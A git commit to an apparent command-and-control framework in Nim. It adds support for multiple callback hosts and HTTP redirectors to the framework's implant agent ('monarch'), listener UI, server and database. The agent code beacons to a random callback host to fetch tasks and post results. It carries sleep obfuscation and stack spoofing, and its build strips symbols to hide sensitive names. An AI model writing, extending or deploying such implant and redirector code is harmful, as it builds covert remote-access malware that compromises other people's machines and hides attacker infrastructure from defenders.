From f2d28333062704d419879bb3e59b5ac0309f80b6 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Sat, 11 Oct 2025 17:10:18 +0200 Subject: [PATCH] Implemented callback host system to support HTTP redirectors --- src/agent/core/context.nim | 3 +- src/agent/core/http.nim | 10 ++- src/agent/main.nim | 3 +- src/agent/nim.cfg | 2 +- src/client/views/console.nim | 67 ++++++++-------- src/client/views/listeners.nim | 6 +- src/client/views/modals/startListener.nim | 95 ++++++++++++++++------- src/common/types.nim | 9 ++- src/server/core/builder.nim | 3 +- src/server/core/listener.nim | 17 ++-- src/server/core/websocket.nim | 1 + src/server/db/database.nim | 1 + src/server/db/dbAgent.nim | 1 + src/server/db/dbListener.nim | 13 ++-- src/server/main.nim | 4 +- 15 files changed, 145 insertions(+), 90 deletions(-) diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index c2d7e04..ec8d2c4 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -27,8 +27,7 @@ proc deserializeConfiguration(config: string): AgentCtx = var ctx = AgentCtx( agentId: generateUUID(), listenerId: Uuid.toString(unpacker.getUint32()), - ip: unpacker.getDataWithLengthPrefix(), - port: int(unpacker.getUint32()), + hosts: unpacker.getDataWithLengthPrefix(), sleep: int(unpacker.getUint32()), sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), spoofStack: cast[bool](unpacker.getUint8()), diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index aff83c1..8e192e4 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -48,7 +48,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") + # Select random callback host + let hosts = ctx.hosts.split(";") + let host = hosts[rand(hosts.len() - 1)] + let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}") # Return if no tasks are queued if responseBody.len <= 0: @@ -94,7 +97,10 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = try: # Send post request to team server - discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body) + # Select random callback host + let hosts = ctx.hosts.split(";") + let host = hosts[rand(hosts.len() - 1)] + discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) except CatchableError as err: echo "[-] " & err.msg diff --git a/src/agent/main.nim b/src/agent/main.nim index b9b7d0e..5c5a73e 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,10 +1,11 @@ -import strformat, os, times, system, base64 +import strformat, os, times, system, base64, random import core/[http, context, sleepmask] import protocol/[task, result, heartbeat, registration] import ../common/[types, utils, crypto] proc main() = + randomize() # Initialize agent context var ctx = AgentCtx.init() diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 025ec32..0b6f1d9 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="255" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 2209be0..da4d1b9 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -179,72 +179,69 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time itemType: itemType, text: line )) + #[ Handling console commands ]# -proc displayHelp(component: ConsoleComponent) = - for module in getModules(component.agent.modules): - for cmd in module.commands: - component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}") +proc displayHelp(component: ConsoleComponent) = + for module in getModules(component.agent.modules): + for cmd in module.commands: + component.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description) component.addItem(LOG_OUTPUT, "") -proc displayCommandHelp(component: ConsoleComponent, command: Command) = +proc displayCommandHelp(component: ConsoleComponent, command: Command) = var usage = command.name & " " & command.arguments.mapIt( - if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]" + if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]" ).join(" ") - - if command.example != "": - usage &= "\nExample : " & command.example - - component.addItem(LOG_OUTPUT, fmt""" -{command.description} - -Usage : {usage} -""") - + + component.addItem(LOG_OUTPUT, command.description) + component.addItem(LOG_OUTPUT, "Usage : " & usage) + + if command.example != "": + component.addItem(LOG_OUTPUT, "Example : " & command.example) + if command.arguments.len > 0: - component.addItem(LOG_OUTPUT, "Arguments:\n") - - let header = @["Name", "Type", "Required", "Description"] - component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}") - component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}") + component.addItem(LOG_OUTPUT, "Arguments:") - for arg in command.arguments: + let header = @["Name", "Type", "Required", "Description"] + component.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3]) + component.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20)) + + for arg in command.arguments: let isRequired = if arg.isRequired: "YES" else: "NO" - component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}") + component.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description) component.addItem(LOG_OUTPUT, "") -proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = - try: +proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = + try: # Try parsing the first argument passed to 'help' as a command component.displayCommandHelp(getCommandByName(parsed[1])) except IndexDefect: # 'help' command is called without additional parameters component.displayHelp() - except ValueError: + except ValueError: # Command was not found - component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.") - -proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) = + component.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.") +proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) = # Convert user input into sequence of string arguments let parsedArgs = parseInput(input) - # Handle 'help' command - if parsedArgs[0] == "help": + # Handle 'help' command + if parsedArgs[0] == "help": component.handleHelp(parsedArgs) return # Handle commands with actions on the agent - try: + try: let command = getCommandByName(parsedArgs[0]) task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1]) connection.sendAgentTask(component.agent.agentId, input, task) - component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})") + component.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")") - except CatchableError: + except CatchableError: component.addItem(LOG_ERROR, getCurrentExceptionMsg()) #[ @@ -254,7 +251,7 @@ proc print(item: ConsoleItem) = if item.timestamp > 0: let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") - igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring) + igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), "[" & timestamp & "]") igSameLine(0.0f, 0.0f) case item.itemType: diff --git a/src/client/views/listeners.nim b/src/client/views/listeners.nim index 60b9584..425363c 100644 --- a/src/client/views/listeners.nim +++ b/src/client/views/listeners.nim @@ -64,12 +64,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti ImGui_TableFlags_SizingStretchSame.int32 ) - let cols: int32 = 4 + let cols: int32 = 5 if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupScrollFreeze(0, 1) @@ -93,6 +94,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti if igTableSetColumnIndex(2): igText($listener.port) if igTableSetColumnIndex(3): + for host in listener.hosts.split(";"): + igText(host) + if igTableSetColumnIndex(4): igText($listener.protocol) # Handle right-click context menu diff --git a/src/client/views/modals/startListener.nim b/src/client/views/modals/startListener.nim index 7aeca28..afdda79 100644 --- a/src/client/views/modals/startListener.nim +++ b/src/client/views/modals/startListener.nim @@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16 type ListenerModalComponent* = ref object of RootObj - address: array[256, char] - port: uint16 + callbackHosts: array[256 * 32, char] + bindAddress: array[256, char] + bindPort: uint16 protocol: int32 protocols: seq[string] proc ListenerModal*(): ListenerModalComponent = result = new ListenerModalComponent - zeroMem(addr result.address[0], 256) - result.port = DEFAULT_PORT + zeroMem(addr result.callbackHosts[0], 256 * 32) + zeroMem(addr result.bindAddress[0], 256) + result.bindPort = DEFAULT_PORT result.protocol = 0 for p in Protocol.low .. Protocol.high: result.protocols.add($p) proc resetModalValues(component: ListenerModalComponent) = - zeroMem(addr component.address[0], 256) - component.port = DEFAULT_PORT + zeroMem(addr component.callbackHosts[0], 256 * 32) + zeroMem(addr component.bindAddress[0], 256) + component.bindPort = DEFAULT_PORT component.protocol = 0 proc draw*(component: ListenerModalComponent): UIListener = @@ -43,27 +46,40 @@ proc draw*(component: ListenerModalComponent): UIListener = defer: igEndPopup() var availableSize: ImVec2 - igGetContentRegionAvail(addr availableSize) - # Listener address - igText("Host: ") + # Listener protocol/type dropdown selection + igText("Protocol: ") igSameLine(0.0f, textSpacing) igGetContentRegionAvail(addr availableSize) igSetNextItemWidth(availableSize.x) - igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) - - # Listener port - let step: uint16 = 1 - igText("Port: ") - igSameLine(0.0f, textSpacing) - igSetNextItemWidth(availableSize.x) - igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) - - # Listener protocol dropdown selection - igText("Protocol: ") - igSameLine(0.0f, textSpacing) - igSetNextItemWidth(availableSize.x) igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32) + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + + # HTTP Listener settings + if component.protocols[component.protocol] == $HTTP: + # Callback hosts + igText("Hosts (Callback): ") + igSameLine(0.0f, textSpacing) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + igInputTextMultiline("##InputCallbackHosts", addr component.callbackHosts[0], 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) + + # Listener bindAddress + igText("Host (Bind): ") + igSameLine(0.0f, textSpacing) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + igInputTextWithHint("##InputAddressBind", "0.0.0.0", addr component.bindAddress[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) + + # Listener bindPort + let step: uint16 = 1 + igText("Port (Bind): ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) igGetContentRegionAvail(addr availableSize) @@ -72,13 +88,40 @@ proc draw*(component: ListenerModalComponent): UIListener = igDummy(vec2(0.0f, 10.0f)) # Only enabled the start button when valid values have been entered - igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0)) + igBeginDisabled(($(addr component.bindAddress[0]) == "") or (component.bindPort <= 0)) - if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + + # Process input values + var hosts: string = "" + let + callbackHosts = $(addr component.callbackHosts[0]) + bindAddress = $(addr component.bindAddress[0]) + bindPort = int(component.bindPort) + + if callbackHosts.isEmptyOrWhitespace(): + hosts &= bindAddress & ":" & $bindPort + + else: + for host in callbackHosts.splitLines(): + hosts &= ";" + let hostParts = host.split(":") + if hostParts.len() == 2: + if not hostParts[1].isEmptyOrWhitespace(): + hosts &= hostParts[0] & ":" & hostParts[1] + else: + hosts &= hostParts[0] & ":" & $bindPort + elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace(): + hosts &= hostParts[0] & ":" & $bindPort + + hosts.removePrefix(";") + + # Return new listener object result = UIListener( listenerId: generateUUID(), - address: $(addr component.address[0]), - port: int(component.port), + hosts: hosts, + address: bindAddress, + port: bindPort, protocol: cast[Protocol](component.protocol) ) component.resetModalValues() diff --git a/src/common/types.nim b/src/common/types.nim index 13e3705..24cec89 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -229,15 +229,17 @@ type Protocol* {.size: sizeof(uint8).} = enum HTTP = "http" - Listener* = ref object of RootObj + Listener* = ref object server*: Server listenerId*: string + hosts*: string address*: string port*: int protocol*: Protocol - UIListener* = ref object of RootObj + UIListener* = ref object listenerId*: string + hosts*: string address*: string port*: int protocol*: Protocol @@ -301,8 +303,7 @@ type AgentCtx* = ref object agentId*: string listenerId*: string - ip*: string - port*: int + hosts*: string sleep*: int sleepTechnique*: SleepObfuscationTechnique spoofStack*: bool diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 2c8007d..4a4e825 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -16,8 +16,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT # Listener configuration packer.add(string.toUuid(listener.listenerId)) - packer.addDataWithLengthPrefix(string.toBytes(listener.address)) - packer.add(uint32(listener.port)) + packer.addDataWithLengthPrefix(string.toBytes(listener.hosts)) # Sleep settings packer.add(uint32(sleep)) diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 57051bb..10608de 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -13,7 +13,7 @@ proc serve(listener: Listener) {.thread.} = except Exception as err: discard -proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protocol: Protocol) = +proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) = try: # Create new listener var router: Router @@ -43,8 +43,9 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco # Store listener in database var listener = Listener( server: server, - listenerId: name, - address: host, + listenerId: listenerId, + hosts: hosts, + address: address, port: port, protocol: protocol ) @@ -54,16 +55,16 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco createThread(thread, serve, listener) server.waitUntilReady() - cq.listeners[name] = listener - cq.threads[name] = thread + cq.listeners[listenerId] = listener + cq.threads[listenerId] = thread - if not cq.dbListenerExists(name.toUpperAscii): + if not cq.dbListenerExists(listenerId.toUpperAscii): if not cq.dbStoreListener(listener): raise newException(CatchableError, "Failed to store listener in database.") - cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{$port}.") + cq.success("Started listener", fgGreen, fmt" {listenerId} ", resetStyle, fmt"on {address}:{$port}.") cq.client.sendListener(listener) - cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {name} on {host}:{$port}.") + cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {listenerId} on {address}:{$port}.") except CatchableError as err: cq.error("Failed to start listener: ", err.msg) diff --git a/src/server/core/websocket.nim b/src/server/core/websocket.nim index 57f5fcc..1037c5d 100644 --- a/src/server/core/websocket.nim +++ b/src/server/core/websocket.nim @@ -25,6 +25,7 @@ proc `%`*(agent: Agent): JsonNode = proc `%`*(listener: Listener): JsonNode = result = newJObject() result["listenerId"] = %listener.listenerId + result["hosts"] = %listener.hosts result["address"] = %listener.address result["port"] = %listener.port result["protocol"] = %listener.protocol diff --git a/src/server/db/database.nim b/src/server/db/database.nim index 6e802ae..2fc360c 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -16,6 +16,7 @@ proc dbInit*(cq: Conquest) = conquestDb.execScript(""" CREATE TABLE listeners ( listenerId TEXT PRIMARY KEY, + hosts TEXT NOT NULL, address TEXT NOT NULL, port INTEGER NOT NULL UNIQUE, protocol TEXT NOT NULL CHECK (protocol IN ('http')) diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index f92b29d..789bf48 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -107,6 +107,7 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = sessionKey: sessionKey, tasks: @[] # Initialize empty tasks ) + agents.add(a) conquestDb.close() except: diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim index 3d0c35d..fc034d9 100644 --- a/src/server/db/dbListener.nim +++ b/src/server/db/dbListener.nim @@ -1,4 +1,4 @@ -import system, terminal, tiny_sqlite +import strformat, strutils, system, terminal, tiny_sqlite import ../core/logger import ../../common/types @@ -19,9 +19,9 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) conquestDb.exec(""" - INSERT INTO listeners (listenerId, address, port, protocol) - VALUES (?, ?, ?, ?); - """, listener.listenerId, listener.address, listener.port, $listener.protocol) + INSERT INTO listeners (listenerId, hosts, address, port, protocol) + VALUES (?, ?, ?, ?, ?); + """, listener.listenerId, listener.hosts, listener.address, listener.port, $listener.protocol) conquestDb.close() except: @@ -37,11 +37,12 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT listenerId, address, port, protocol FROM listeners;"): - let (listenerId, address, port, protocol) = row.unpack((string, string, int, string)) + for row in conquestDb.iterate("SELECT listenerId, hosts, address, port, protocol FROM listeners;"): + let (listenerId, hosts, address, port, protocol) = row.unpack((string, string, string, int, string)) let l = Listener( listenerId: listenerId, + hosts: hosts, address: address, port: port, protocol: stringToProtocol(protocol), diff --git a/src/server/main.nim b/src/server/main.nim index 8d27186..d340346 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -84,7 +84,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. of CLIENT_LISTENER_START: let listener = event.data.to(UIListener) - cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol) + cq.listenerStart(listener.listenerId, listener.hosts, listener.address, listener.port, listener.protocol) of CLIENT_LISTENER_STOP: let listenerId = event.data["listenerId"].getStr() @@ -159,7 +159,7 @@ proc startServer*(profilePath: string) = # Restart existing listeners for listenerId, listener in cq.listeners: - cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol) + cq.listenerStart(listenerId, listener.hosts, listener.address, listener.port, listener.protocol) # Start websocket server var router: Router